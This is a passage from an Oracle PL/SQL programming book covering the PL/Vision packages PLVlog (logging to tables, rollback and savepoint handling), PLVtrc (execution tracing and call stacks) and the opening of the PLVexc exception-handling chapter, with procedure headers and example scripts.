pstablog PLVtab.vcmax_table;

When a line is written to the table it is formatted as shown below:

context_in || c_delim ||
TO_CHAR (code_in) || c_delim ||
string_in || c_delim ||
TO_CHAR (SYSDATE, PLV.datemask) || c_delim ||
create_by_in || c_delim

where c_delim is defined to be CHR(8) (see the explanation of the put_line procedure for more information about the individual variables in this string of concatenations). This character shows up in Windows as a black box and is a useful delimiter.

21.1.4.1 Counting and clearing the PL/SQL table

When you are using the PL/SQL table for logging, PLVlog provides two other programs with which to manage the table: clear_pstab and pstab_count. If you want to make sure that the PL/SQL table-based log is empty, call the clear_pstab procedure as follows:

PLVlog.clear_pstab;

If you want to find out the number of rows currently in the log, you can call pstab_count as shown in the following IF statement (and used in the FOR loop of the showlog.sql script above):

IF PLVlog.pstab_count > 0
THEN
   PLVlog.display;
END IF;

You cannot directly access the PL/SQL table log, since the table itself is defined inside the body of the package and is, therefore, private. On the other hand, you can transfer the PL/SQL table to a database table (with the ps2db procedure). You can also get_line to retrieve a specific row from the table, as discussed in the next section.

21.1.4.2 Retrieving log data from PL/SQL table

You can unpack a log string in the PL/SQL table into individual variables with the get_line procedure, whose header is shown below:

PROCEDURE get_line
   (row_in IN INTEGER,
    context_out OUT VARCHAR2,
    code_out OUT INTEGER,
    string_out OUT VARCHAR2,
    create_by_out OUT VARCHAR2,
    create_ts_out OUT DATE);

You supply the row number of the PL/SQL table in which you are interested, and get_line returns the different elements of the logged message. This program is used by the ps2db procedure, and you can use it as well to parse the log information from the PL/SQL table. The following script (stored in the showlog.sql file on the companion disk) displays all the rows in the log that were entered today for the context CALC_TOTALS:

DECLARE
   v_context PLV_log.context%TYPE;
   v_code PLV_log.code%TYPE;
   v_text PLV_log.text%TYPE;
   v_create_by PLV_log.create_by%TYPE;
   v_create_ts PLV_log.create_ts%TYPE;

BEGIN
   /* pstab_count is explained below. */
   FOR row_ind IN 1 .. PLVlog.pstab_count
   LOOP
      PLVlog.get_line
         (row_ind,
          v_context, v_code, v_text,
          v_create_by, v_create_ts);

      IF v_create_ts BETWEEN TRUNC (SYSDATE)
                         AND TRUNC (SYSDATE+1) AND
         v_context = 'CALC_TOTALS'
      THEN
         p.l (v_text);
      END IF;
   END LOOP;
END;
/

NOTE: If you are on the lookout for handy, concise string manipulation routines, you might want to examine the body of get_line. It contains a local procedure called get_colval, which allows me to cleanly separate out the different elements of my delimited string. It makes use of the betwnstr function of the PLV package, which in and of itself is a useful extra tool.

21.1.4.3 Transferring a PL/SQL table log to a database table

PLVlog provides the ps2db procedure to transfer the contents of the PL/SQL table log to the currently defined database log table. The header for this procedure is:

PROCEDURE ps2db;

Why would you bother moving the contents of the log from a PL/SQL table to a database table? You might have relied on the PL/SQL table log during the execution of your application so that you didn't have to worry about commit and rollback processing. Now the test session is done and you want to move your log information to "persistent" data. The PL/SQL table goes away when your session ends. If you move the data to a database table, you can examine the contents at your leisure and with the flexibility offered by the SQL language.

21.1.5 Rolling Back with PLVlog

One of the problems with writing log information to a database table is that the information is only available once the new rows are committed to the database. This can be a problem because PLVlog is often employed to track errors -- and in many of these situations, the current transaction has failed or otherwise requires a rollback.

Figure 21.1 illustrates the complexity of maintaining transaction integrity while also preserving records written to a database table log. Transaction A raises an exception. A consequence of the exception is a rollback of the entire transaction. PLVlog is then called to put a line in the log. The application then moves on to the next transaction. If transaction B also raises an exception and issues a rollback, the record written to the log is also erased. So it is necessary to issue a savepoint immediately after the write to the database log. The final complication, however, is that when the rollback of transaction B occurs, it must roll back to the post-log savepoint.

Figure 21.1: Preserving log entries while rolling back transactions

This scenario gives rise to a number of interesting challenges for a generic logging package like PLVlog: how can it avoid saving in-error transactions while saving log information? How can the post-log transaction rollback know about the savepoint? If known, how can this dynamic rollback to a variable savepoint be accomplished? And how can Plvlog make this process as transparent as possible to users of the logging mechanism?

PLVlog offers an architecture to answer these questions. It is complicated and sometimes hard to follow, but it does seem to get the job done.

At a high level, I want to perform steps like this:

Rollback-Transaction
Insert-Line-in-Log
Set-Savepoint-to-Preserve-Insert

Yet when you examine "Rollback-Transaction" more closely, a question arises: Do I want to perform an unqualified rollback to reject all uncommitted changes, or do I want to roll back to a particular savepoint?

PL/Vision could require that the individual developers who use PLVlog simply handle all of these rollback and savepoint issues. But that approach places a high burden on my users and makes it much less likely that PLVlog will be used to its full potential -- a drawback I take kind of personally. So, instead, PLVlog offers several different toggles, settings, and commands you can use to direct PLVlog to take precisely the right actions in the right order and at the right time.

First, let's go over the way PLVlog performs rollbacks and savepoints, then examine how you can control this aspect of the package's behavior.

21.1.5.1 Toggling rollback activity

If your log repository is an operating system file or PL/SQL table, the concept of a rollback simply doesn't apply. You only have to worry about this complication when you are logging directly to a database table -- which is, after all, a pretty common activity. Suppose, then, that you are using a database table log. PLVlog will still not perform any rollbacks or issue any savepoints unless you explicitly turn on this behavior.

PLVlog offers a standard PL/Vision toggle. This triumvirate of programs is:

PROCEDURE do_rollback;
PROCEDURE nodo_rollback;
FUNCTION rolling_back RETURN BOOLEAN;

One procedure to turn on rollback and savepoint activity, another to turn it off (the default), and a final function to indicate the current state of affairs. All the two procedures do is set the value of a private Boolean variable, but by correctly applying that Boolean inside an IF statement in PLVlog, the package's user gets to fine-tune the package's behavior.

The discussion in the following sections assumes that at some point in your session before you tried to log activity to the database, you issued this command in SQL*Plus:

SQL> exec PLVlog.do_rollback

or directly executed this command inside another PL/SQL program like this:

BEGIN
   PLVlog.do_rollback;
   transfer_data;
END;

21.1.5.2 How PLVlog manages the transaction

Assuming that you have directed PLVlog to help you manage your transaction automatically when information is sent to the database log, let's take a look at how PLVlog handles the complexities.

The best way to explain this process is to show you the relevant part of the body of the put_line program. The section below is executed only when logging is turned on or overridden in that call to put_line. As you can see, the discussion of rollbacks and this section of code is relevant only when the log type is a database table.

1   IF log_type = PLV.dbtab
2   THEN
3      IF rolling_back
4      THEN
5         do_rb (v_message);
6      END IF;
7
8      put_to_db
9         (context_in, code_in, string_in, create_by_in,
10         SYSDATE);
11
12     IF rolling_back
13     THEN
14        PLVrb.set_savepoint (v_savepoint);
15     END IF;

Lines 8 through 10 contain the call to a private module, put_to_db, that performs the actual INSERT into the specified table. This INSERT is sandwiched between two rollback-related activities. Lines 3 and 12 apply the rollback toggle discussed in the previous section; if you have not requested PLVlog.do_rollback, then rolling_back returns FALSE and the code on lines 5 and 14 are not executed.

Suppose, however, that you have executed do_rollback. Then before a line of data is inserted into your log table, put_line executes the do_rb program, which is a local module in put_line that figures out exactly which type of rollback to execute. This topic is covered in Section 21.1.5.6, "Performing different kinds of rollbacks". After the information is inserted into the log, PLVlog calls the PLVrb.set_savepoint to set a savepoint using dynamic PL/SQL. The savepoint used (v_savepoint) is the current PLVlog savepoint and is discussed in the next section.

By setting a savepoint immediately after the insert, PLVlog gives you a way to roll back all changes except for the last write to the log table. This savepoint is either a savepoint declared by PLVlog or a savepoint you have defined for PLVlog to use, as is explained below.

21.1.5.3 Types of rollback activity

PLVlog provides a set of constants, shown in the following table, that you can use to modify the way rollbacks occur in the put_line procedure.

Constant Name

Value

Description

c_noaction

*NO ROLLBACK*

Do not perform any kind of rollback.

c_none

*FULL*

Perform a full rollback (not back to a savepoint).

c_default

*DEFAULT*

Roll back to the default PLVlog savepoint.

c_last

*PLVRB-LAST*

Roll back to the last savepoint maintained by the PLVrb package.

c_PLVlogsp

PLVlog_savepoint

Roll back to the PLVlog_savepoint, the initial default savepoint for PLVlog.

You have probably noticed that the values for the first three "savepoints" are not valid savepoint names. Only the constant c_PLVlogsp can actually be used in a SAVEPOINT command. In fact, the other constants are only used by the do_rb program in put_line to determine which kind of ROLLBACK action to take. The do_rb procedure is explored in more detail in Section 21.1.5.6.

21.1.5.4 Setting the default "rollback to" behavior

The default "rollback to" savepoint of PLVlog is used when the user has turned on rollback activity and the user has not provided an alternative savepoint in the call to put_line. This savepoint is then used to determine the type of rollback to execute before inserting a line into the log.

The default savepoint is initialized to the c_none constant, which means that a full, unqualified rollback is executed.

To change the default "rollback to" savepoint, you can call any of the programs whose headers are shown below:

PROCEDURE rb_to (savepoint_in IN VARCHAR2 := c_none);
PROCEDURE rb_to_last;
PROCEDURE rb_to_default;

The procedures rb_to_last and rb_to_default are simply special cases of the rb_to procedure. Let's look at the impact of using these programs with the different savepoint constants and, of course, your own savepoint names.

  1. Set the default savepoint to "no action:"

    PLVlog.rb_to (PLVlog.c_noaction);

    When you set the "rollback to" savepoint to "no action," no rollback occurs -- even if you have turned on rollbacks with a call to do_rollback. You will usually not pass this constant in to rb_to. Instead, you might do so in a call to put_line so that no rollbacks occur for that single insert.

  2. Set the default savepoint to none:

    PLVlog.rb_to (PLVlog.c_none);

    or:

    PLVlog.rb_to;

    When you set the "rollback to" savepoint to none, you are requesting a full ROLLBACK, unqualified by any savepoint. This causes all uncommitted changes to be erased from your session.

  3. Set the default savepoint to the default:

    PLVlog.rb_to (PLVlog.c_default);

    or:

    PLVlog.rb_to_default;

    By setting the "rollback to" savepoint to the default, you actually set the default savepoint to the constant c_PLVlogsp. You will usually not pass this constant in to rb_to. Instead, you might do so in a call to put_line to ensure that the current default savepoint is used for rollback activity (this, in fact, is the default).

  4. Set the default savepoint to the PLVlog initial value:

    PLVlog.rb_to (PLVlog.c_PLVlogsp);

    By setting the "rollback to" savepoint to this constant, you return the default savepoint back to its initial value. You might do this at the start of a process in order to reset the PLVlog package back to its original values.

  5. Set the default savepoint to the last savepoint issued by PLVrb:

    PLVlog.rb_to (PLVlog.c_last);

    or:

    PLVlog.rb_to_last;

    By setting the "rollback to" savepoint to this constant, you are coordinating closely with the PLVrb package, which maintains a stack of savepoints. You are indicating that when a rollback occurs, it should only roll back to the last savepoint issued by PLVrb. You should only use this setting if you are rigorous about using the PLVrb.set_savepoint procedure whenever you issue a SAVEPOINT.

  6. Set the default savepoint to a user-defined savepoint indicating the start of a new order transaction:

    PLVlog.rb_to ('new_order');

    By setting the savepoint to this string, you set the default behavior of PLVlog to rollback to this savepoint before an insert to the log table.

21.1.5.5 Specifying rollbacks when calling put_line

You can also use the rollback constants when specifying a value for the rb_to_in argument of put_line. This acts as an override to the default "rollback to" savepoint. Since we've already looked at how put_line works, let's now explore how to use the rb_to_in argument with these constants to change the rollback behavior for a specific call to put_line.

Here, again, is the header for put_line (the abbreviated version):

PROCEDURE put_line
   (string_in IN VARCHAR2,
    rb_to_in IN VARCHAR2 := c_default,
    override_in IN BOOLEAN := FALSE);

The default value for the "rollback to" argument is c_default, which means that PLVlog issues a rollback according to the current default setting (explained in the next section). The following examples show the alternatives to this behavior:

  1. Put a line in the log but do not perform any rollback activity, regardless of the value returned by PLVlog.rolling_back.

    PLVlog.put_line (v_err_msg, PLVlog.c_noaction);

  2. Put a line in the log and request a rollback to the last savepoint issued by PLVrb.

    PLVlog.put_line (v_err_msg, PLVlog.c_last);

    This setting ties in PLVlog as tightly as possible with the use of PLVrb to manage and issue savepoints in your application.

  3. Put a line in the log and request a full, unqualified rollback.

    PLVlog.put_line (v_err_msg, PLVlog.c_none);

    The constant is called c_none because PLVlog does not roll back to any savepoint, instead it just issues a ROLLBACK command.

  4. Put a line in the log, rolling back all changes made since the last SAVEPOINT TO the standard PLVlog savepoint.

    PLVlog.put_line (v_err_msg, PLVlog.c_PLVlogsp);

    This is not the same as rolling back to the default savepoint, because you may have changed the default with a call to one of the rb_to programs documented in the next section.

In all of the above examples, the rollback activity described applies only to that single call to PLVlog.put_line. Whenever you call put_line and do not provide a value for the rb_to_in argument, PLVlog relies on the default activity you have previously defined (explained below).

21.1.5.6 Performing different kinds of rollbacks

PLVlog takes a different rollback action depending on the default savepoint value. This logic is encapsulated in the local do_rb procedure inside put_line:

PROCEDURE do_rb (msg_in IN VARCHAR2)
IS
   v_sp PLV.plsql_identifier%TYPE := v_rb_to;
BEGIN
   IF rb_to_in != c_default
   THEN
      v_sp := rb_to_in;
   END IF;

   IF v_sp = c_noaction
   THEN
      NULL;

   ELSIF v_sp = c_none OR v_sp IS NULL
   THEN
      PLVrb.perform_rollback (msg_in);

   ELSIF v_sp = c_default
   THEN
      PLVrb.rollback_to (v_sp_PLVlog, msg_in);

   ELSIF v_sp = c_last
   THEN
      PLVrb.rb_to_last (msg_in);

   ELSE
      PLVrb.rollback_to (v_sp, msg_in);
   END IF;
END;

Allow me to translate:

  • If you have specified (through the default savepoint value stored in v_savepoint) "no action," then don't do anything.

  • If you set the default to none or if the current default savepoint itself is NULL, perform a full, unqualified rollback with a call to PLVrb.perform_rollback.

  • If the current "rollback to" savepoint is the default, roll back to the initial default value for PLVlog: PLVlog_savepoint.

  • If you have requested a rollback to the last savepoint issued by PLVrb, PLVlog calls the corresponding PLVrb.rb_to_last procedure to implement precisely that functionality.

Finally, for any other savepoint values, PLVlog requests that PLVrb roll back uncommitted changes to that savepoint string.

21.1.5.7 Setting the post-insert savepoint

After the insert to the database log has taken place, PLVlog issues a savepoint if PLVlog.rolling_back returns TRUE. The purpose of this savepoint is to preserve the new log record -- even if a rollback comes surging back from activity after the call to the PLVlog.put_line procedure.

The post-insert savepoint of PLVlog (referred to for the rest of this section simply as "the savepoint") is initialized to the constant c_PLVlogsp, the predefined savepoint of the package.

You can change this savepoint with a call to the set_sp procedure, whose header is:

PROCEDURE set_sp (savepoint_in IN VARCHAR2);

Savepoint Argument

Post-Insert Savepoint Set To

c_none

NULL; no savepoint is issued after the insert.

c_noaction

NULL; no savepoint is issued after the insert.

c_last

PLVrb.lastsp; this function returns the last savepoint issued by PLVrb.

c_default

c_PLVlogsp; the initial value and the default value for the PLVlog package.

others

The value provided in the argument. This string must be a valid savepoint, that is, a valid PL/SQL identifier -- no more than 30 characters starting with a letter.

21.1.6 Displaying the Log

PLVlog provides a single display procedure to display the contents of the log, whether the log is stored in the database or in a PL/SQL table. If the log is in a database table, PLVlog makes use of the PLVdyn.intab procedure. If the log is in a PL/SQL table, PLVlog uses the PLVtab.display procedure. Here is the header for the display program:

   PROCEDURE display (header_in IN VARCHAR2 := 'PL/Vision Log');

The header, which is optional, is used in the PL/SQL table display, but not for the display of the database table.

Special Notes on PLVlog

Here are some factors to consider when working with PLVlog:

  • The maximum size of the text information in the log is 2,000 characters.

  • At runtime you can decide on the name of the database log table and its columns, but that table must have columns for the context, code, text line, date, and user.

  • You cannot write log information to an operating system file unless you are running Oracle7 Server Release 7.3 and the corresponding Release 2.3 of PL/SQL.

  • One other possibility for log output is a DBMS_PIPE pipe. This has as the same advantages of a PL/SQL table (no need to commit) and, in addition, allows the log data to be shared across sessions.

Here is an example of using the display procedure: set the log repository to the PL/SQL table, execute the application, and then display the log.

SQL> execute PLVlog.to_pstab
SQL> start myapp
SQL> execute PLVlog.display
Contents of PL/Vision Log
proc1 ORA-01476: divisor is equal to zero 12/19/1995 11:41:30
proc2 ORA-06502: PL/SQL: num or val error 12/19/1995 11:41:30

You can also view the contents of the log with SQL if the log is a database table. In the following scenario, I set the log repository to the database table, execute the application, and then display the log.

SQL> execute PLVlog.to_dbtab
SQL> start myapp
SQL> start inlog
CONTEXT CODE    TEXT                         CREATE_TS
------- ----- ------------------------------ -----------------
proc1   -1476 ORA-01476: divisor is equal to 12/19/95 114301
                         zero
proc2   -6502 ORA-06502: PL/SQL: numeric or  12/19/95 114301
                         value error

where the inlog.sql script is as follows:

SET ARRAYSIZE 10
column code format 999999
column context format a12
column create_ts format a17
column text format a30
SELECT context, code, text,
       TO_CHAR (create_ts, 'mm/dd/yy hhmiss') create_ts
  FROM PLV_log
 ORDER BY create_ts;

Notice that this script uses the default logging table, PLV_log. You can, as noted above, override this default with your own table and column names.

Previous: 20.2 PLVrb: Performing Rollbacks | Advanced Oracle PL/SQL Programming with Packages | Next: 21.2 PLVtrc: Tracing Execution of PL/SQL Programs
20.2 PLVrb: Performing Rollbacks | Book Index | 21.2 PLVtrc: Tracing Execution of PL/SQL Programs
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 21] 21.2 PLVtrc: Tracing Execution of PL/SQL Programs

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

21.2 PLVtrc: Tracing Execution of PL/SQL Programs

The PLVtrc (PL/Vision TRaCe) package offers a generic trace facility for PL/SQL applications. It is especially useful if you do not have access to a source debugger for PL/SQL. It is also used by PLVexc to record the currently executing PL/SQL program unit when an exception occurs.

The PLVtrc package offers several capabilities:

  • Provides a flexible execution trace facility. It inserts trace points anywhere in your code; these fire and display (or write to a log) only if you explicitly turn on the trace. Thus, your trace can remain in place even in production code.

  • Parses the string returned by a call to the DBMS_UTILITY.FORMAT_CALL_STACK function. You can specify retrieval of the nth module in the stack and use this information in your own auditing and trace activities.

  • Is similar to the p package. PLVtrc offers a heavily overloaded interface to the PUT_LINE procedure of DBMS_OUTPUT. (In fact, PLVtrc calls the p.l procedure to generate its output.)

The elements provided by PLVtrc can be broken down into three areas: output control, module tracking, and activity trace. They are explored in the following sections.

21.2.1 Directing Output from PLVtrc

As with many other PL/Vision packages, PLVtrc allows you to programmatically control its behavior, in this case its output. PLVtrc offers three different types of output:

  • Display the trace message to the screen. If not turned on, all calls to PLVtrc programs are ignored.

  • Log the trace message to the PL/Vision log. If tracing is activated, this feature also writes a line out to the current PLVlog repository.

  • Display the currently executing module based on the PL/SQL FORMAT_CALL_STACK function. If tracing is activated, this feature adds the current module to the display.

PLVtrc offers a separate toggle for each of these aspects of output. Here are the programs to turn the trace facility itself on and off:

PROCEDURE turn_on;
PROCEDURE turn_off;
FUNCTION tracing RETURN BOOLEAN;

To activate the trace facility, enter:

SQL> execute PLVtrc.turn_on;

To de-activate the trace facility enter:

SQL> execute PLVtrc.turn_off;

To control logging of trace messages using the PLVlog package, PLVtrc offers these programs:

PROCEDURE log;
PROCEDURE nolog;
FUNCTION logging RETURN BOOLEAN;

This command turns on logging of trace message:

SQL> execute PLVtrc.log;

To turn off logging, enter:

SQL> execute PLVtrc.nolog;

You can also request that when trace information is displayed the current module is included in the message. You control the inclusion of that data with this toggle:

PROCEDURE dispmod;
PROCEDURE nodispmod;
FUNCTION displaying_module RETURN BOOLEAN;

So to include the module in trace messages, enter:

SQL> execute PLVtrc.dispmod;

To ignore the module name enter:

SQL> execute PLVtrc.nodispmod;

To turn on all these options, you need to execute all three "on" procedures:

SQL> exec PLVtrc.dispmod;
SQL> exec PLVtrc.log;
SQL> exec PLVtrc.turn_on;

The order in which you call these toggle programs is not important. Just remember that you cannot write information to the log or display the current module unless the overall trace is turned on.

In all examples above I have shown the syntax for executing the programs from within SQL*Plus. You can also call these programs from within a PL/SQL program, in which case you would not use the execute command.

21.2.2 Accessing the PL/SQL Call Stack

The PLVtrc package provides you with the ability to access and parse the call stack maintained by the PL/SQL runtime engine. This call stack is available with a call to the DBMS_UTILITY.FORMAT_CALL_STACK function. Here is an example of the string returned by this function:

----- PL/SQL Call Stack -----
object      line    object
handle      number  name
88ce3f74         8  package STEVEN.DISPCSTK
88e49fc4         2  function STEVEN.COMPANY_TYPE
88e384c8         1  procedure STEVEN.CALC_PROFITS
88e3823c         1  procedure STEVEN.CALC_TOTALS
88e49390         1  procedure STEVEN.CALC_NET_WORTH
88e2bd20         1  anonymous block

The string actually contains many newline characters (you can find these by searching for CHR(10) with the INSTR function). It is designed for easy display, but not easy manipulation within a programmatic setting.

The PLVtrc package offers two programs to access this PL/SQL call stack:

ps_callstack

Returns the same string returned by the FORMAT_CALL_STACK function. It is provided for consistency and to save you some typing.

ps_module

Returns the nth module in the PL/SQL call stack, with the default being the "most recent module," (i.e., the program that was active before the PLVtrc.module function was called.) This, by the way, is the second module in the stack.

NOTE: One big problem with FORMAT_CALL_STACK is that it will not provide the name of the current program within a package. If you are executing a standalone function or procedure, FORMAT_CALL_STACK shows you its name. If you are running a function within a package, however, it only shows you the package name. If your code design is package-driven, this fact renders the FORMAT_CALL_STACK function largely irrelevant. This shortcoming is the main reason that PLVtrc also maintains its own program call stack in a PL/Vision stack.

21.2.3 Tracing Code Execution

PLVtrc offers two programs to trace the execution of your code: action and show. The action program's header is:

PROCEDURE action
   (string_in IN VARCHAR2 := NULL,
    counter_in IN INTEGER := NULL,
    prefix_in IN VARCHAR2 := NULL);

You pass a string, a numeric counter or indicator, and another string that is used as a prefix on the trace message. The action procedure is used by startup, terminate, and the other activity trace module, show. It is, in other words, the lowest-level trace procedure.

The show procedure is heavily overloaded. Like the p.l procedure, the show program comes in many flavors of argument combinations, as shown in the list below. This is done to make it easy for you to pass different combinations of data for display without having to perform TO_CHAR conversions and concatenations.

The following datatype combinations are supported by PLVtrc.show:

Single-value | Double-value | Triple-value
string | string, date | string, number, number
date | string, number | string, number, date
number | string, boolean | string, number, boolean
boolean |  |

Here are the headers for the single-value show procedures:

PROCEDURE show (stg1 IN VARCHAR2);
PROCEDURE show (date1 IN DATE, mask_in IN VARCHAR2 := PLV.datemask);
PROCEDURE show (bool1 IN BOOLEAN);
PROCEDURE show (num1 IN NUMBER);

Here are the headers for the double-value show procedures:

PROCEDURE show (stg1 IN VARCHAR2, num1 IN NUMBER);
PROCEDURE show
   (stg1 IN VARCHAR2,
    date1 IN DATE, mask_in IN VARCHAR2 := PLV.datemask);
PROCEDURE show (stg1 IN VARCHAR2, bool1 IN BOOLEAN);

Here are the headers for the triple-value show procedures:

PROCEDURE show
   (stg1 IN VARCHAR2, num1 IN NUMBER, num2 IN NUMBER);
PROCEDURE show
   (stg1 IN VARCHAR2, num1 IN NUMBER,
    date1 IN DATE, mask_in IN VARCHAR2 := PLV.datemask);
PROCEDURE show
   (stg1 IN VARCHAR2, num1 IN NUMBER, bool1 IN BOOLEAN);

You can place calls to both action and show in your programs. No output is generated from these message lines until you turn on the trace. And since there is very little overhead involved in calling these programs, you can leave the trace in your code even when it goes into production status. When you have to debug the code, you simply call PLVtrc.turn_on, run the application, and you have a wealth of information available to you.

21.2.4 The PLVtrc Program Stack

PLVtrc offers two programs to build its own program execution stack: startup and terminate. You can also get information about the current and previous modules of the stack.

The PLVtrc call stack operations provide two key advantages over the builtin:

  1. The call stack contains the names of the specific programs being executed (or whatever strings you pass to represent the names of programs).

  2. You can call startup at any point, so you can give names in your call stack to anonymous blocks as well as named modules. Just don't forget to terminate if you run startup.

21.2.4.1 startup

You should call PLVtrc.startup as the first line in the body of your program. Its header is:

PROCEDURE startup
   (module_in IN VARCHAR2, string_in IN VARCHAR2 := NULL);

You provide the module name or abbreviation or whatever string you want to record as representing the program. You can also pass in a second string argument. This value is displayed or logged by PLVtrc, according to the toggle settings. This second argument allows you to pass variable data into the trace.

21.2.4.2 terminate

The terminate program performs a task opposite that of startup: it pops off the stack the most recently pushed module and sets the previous module variable. The header for terminate is:

PROCEDURE terminate (string_in IN VARCHAR2 := NULL);

As with startup, you can provide a string to be displayed or logged, depending on the status of the PLVtrc toggles. You should call PLVtrc.terminate as the last executable statement in your procedure, and immediately before your RETURN statement in a function.

You should also call PLVtrc.terminate in each of your exception handlers in a PL/SQL block where startup was called. Otherwise the enclosing module will not be popped off the stack when the block fails.

If you use one of the high-level handlers of PLVexc to handle your exception, however, you do not have to -- and should not -- call terminate. Those handlers do that for you.

21.2.4.3 Current module

Each time PLVtrc.startup is executed, it pushes the current module onto the PLVtrc execution stack and sets the current module to the first argument in the call to startup.

You can obtain the name of the current module in the PLVtrc environment by calling the currmod function, whose header is:

FUNCTION currmod RETURN VARCHAR2;

21.2.4.4 Previous module

To see the name of the previous module, you can call the prevmod function, whose header is:

FUNCTION prevmod RETURN VARCHAR2;

The PLVexc package makes use of this function so that it can record the program in which an exception was raised. You might not have too much use for prevmod.

See Section 21.2.5, "Using PLVtrc" to see how you put these pieces together.

21.2.4.5 Emptying the stack

The clearecs procedure empties the execution stack by recreating it. The header for this procedure is:

PROCEDURE clearecs;

You will want to use this program when you have finished running a test and you want to make sure that there aren't any extraneous module names left on the stack.

21.2.4.6 Displaying the stack

You can display the contents of the stack with a call to showecs; the header is:

PROCEDURE showecs;

This program, in turn, calls PLVlst.display to display the contents of the list, which comprise the underlying data structure for the stack (implemented, actually, with the PLVstk package -- an interesting exercise in code layering).

21.2.4.7 Retrieving stack contents

If you do not want to directly display the PLVtrc stack, you can extract it as a string in much the same format as that provided by the builtin FORMAT_CALL_STACK function with the ecs_string function. Its header is:

FUNCTION ecs_string RETURN VARCHAR2;

Each module name in the call stack is separated by a newline character.

You can also retrieve a single module from the stack with the module procedure. This program's header is:

FUNCTION module (pos_in IN INTEGER := c_top_pos)
   RETURN VARCHAR2;

where pos_in is the position in the stack in which you are interested. The current program is stored in the top-most position of 0 (actually not yet on the call stack) and is encapsulated in the package constant, c_top_pos. To obtain the name of the module that called the current program, you would pass in a position of 1.

21.2.5 Using PLVtrc

The following examples show you how to use the different elements of the PLVtrc package.

  1. Use the startup and terminate procedures in my procedure to integrate it into the PLVtrc call stack. In addition, handle exceptions using the PLVexc component (which also performs a terminate).

    CREATE OR REPLACE PROCEDURE proc (val in number) IS
BEGIN
   PLVtrc.startup ('proc');
   IF 1/val > 1 THEN NULL; END IF;
   PLVtrc.terminate;
EXCEPTION
   WHEN OTHERS THEN PLVexc.rec_continue;
END;
/

  2. Show the employee name and date before giving them a name.

    FOR emp_rec IN emp_cur
LOOP
   PLVtrc.show (emp_rec.ename, emp_rec.hiredate);
   give_raise (emp_rec.empno);
END LOOP;

    Remember: this call to show will not actually generate any output unless you turn on at least one of the trace features.

  3. Use the startup and terminate procedures to track execution of a nested, anonymous block. Notice that in the exception section, I explicitly call terminate for the NO_DATA_FOUND exception. For all other errors, I let the PLVexc package handle the PLVtrc.terminate and the error as well.

    PROCEDURE annual_calcs (val in number)
IS
BEGIN
   PLVtrc.startup ('proc');
       calc_gross_revenue;
   BEGIN
      PLVtrc.startup ('analyze');
      calc_rev_distribution;
      PLVtrc.terminate;
   EXCEPTION
      WHEN OTHERS THEN PLVexc.halt;
   END;
   call_profits;
   PLVtrc.terminate;

EXCEPTION
   WHEN NO_DATA_FOUND
   THEN
      PLVtrc.terminate;
      p.l ('Invalid value: ' || TO_CHAR (val);

   WHEN OTHERS
   THEN
      /* This program calls PLVtrc.terminate */
      PLVexc.rec_continue;
END;
/

Previous: 21.1 PLVlog: Logging Activity in PL/SQL Programs | Advanced Oracle PL/SQL Programming with Packages | Next: 22. Exception Handling
21.1 PLVlog: Logging Activity in PL/SQL Programs | Book Index | 22. Exception Handling
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 22] Exception Handling

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book
Previous: 21.2 PLVtrc: Tracing Execution of PL/SQL Programs Chapter 22 Next: 22.2 Application-Specific Exception Packages

22. Exception Handling

Contents:
The Challenge of Exception Handling
Application-Specific Exception Packages
Implementing PLVexc

The PLVexc (PL/Vision EXCeption handling) package provides a powerful, plug-and-play component to perform exception handling in your PL/SQL programs. It makes use of PLVlog to automatically write errors to the log of your choice (database table, PL/SQL table, etc.). It offers high-level exception handler programs so that individual developers can simply call a procedure that describes the desired action, such as "record and continue," and PLVexc figures out what to do.

This chapter first analyzes the need for exception handling and the traditional solutions in a PL/SQL environment. It then presents the elements of the PLVexc package, along with the information you need to apply this functionality in your own programs. Finally, the chapter explores the implementation of PLVexc in two phases.

22.1 The Challenge of Exception Handling

Do you test your own programs? If you do, I am willing to wager large sums of money that your users feel as if they are the ones doing the testing. Authors of a program cannot find all the bugs in their software. They have, in fact, an uncanny ability to unconsciously follow a path through their code that avoids all bugs and logical holes.Programmers cannot be responsible for testing their own code.

Tightly linked to proper testing is proper error handling. Even if a program does not have actual bugs, it does need to handle abnormal conditions gracefully. Yet exception handling is the last thing any of us wants to worry about when we build our PL/SQL programs. To recognize the need to write exception handlers is to acknowledge that things might go wrong. Who can afford the time and resources to focus on the negative? It is all we can do to get our programs to work properly under normal circumstances -- to conform, in other words, to the specifications. How many times do you hear others (never yourself, right?) say things like this: "After I get my program to work, I'll go back and put in the exception handlers." Of course, no one ever has the time to "go back."

Anticipating and handling the problems in one's program is crucial to writing a robust application. PL/SQL offers a very powerful architecture for dealing with abnormal conditions: the exception section and exception handlers. Yet this architecture can also be difficult to use, particularly in a manner that ensures consistent error handling across an entire application. This difficulty, combined with the importance of getting it right, makes exception handling an excellent candidate for the use of a plug-and-play component.

22.1.1 A Package-Based Solution

A plug-and-play component, based in PL/SQL package technology, can hide the complexities and difficulties of exception handling. It can provide a declarative interface to both responding to and logging problems encountered in an application. With this declarative approach, programmers can, in the exception section, state what they want the program to do and leave it to the underlying engine (the package) to figure out how to get the job done. This is very similar to the theory and practices of the SQL language.

To give you a taste of what is possible, the following exception section has two different exception handlers: one for NO_DATA_FOUND and one for all other exceptions. When NO_DATA_FOUND is raised, a message is displayed to the user, the error is recorded, and then the program is halted. When any other error occurs, that error is recorded and then processing continues.

EXCEPTION
   WHEN NO_DATA_FOUND
   THEN
      PLVexc.recNstop ('Company has not been located.');
   WHEN OTHERS
   THEN
      PLVexc.recNgo;
END;

Both of these exception handlers make use of the PLVexc package. This package automatically records the current program, user, error number, and message. It relies on the PLVlog package so that the recording can take place to a database table or to a PL/SQL table. It performs rollbacks to the last savepoint if requested so that the current transaction is "erased," but the write to the log table is preserved.

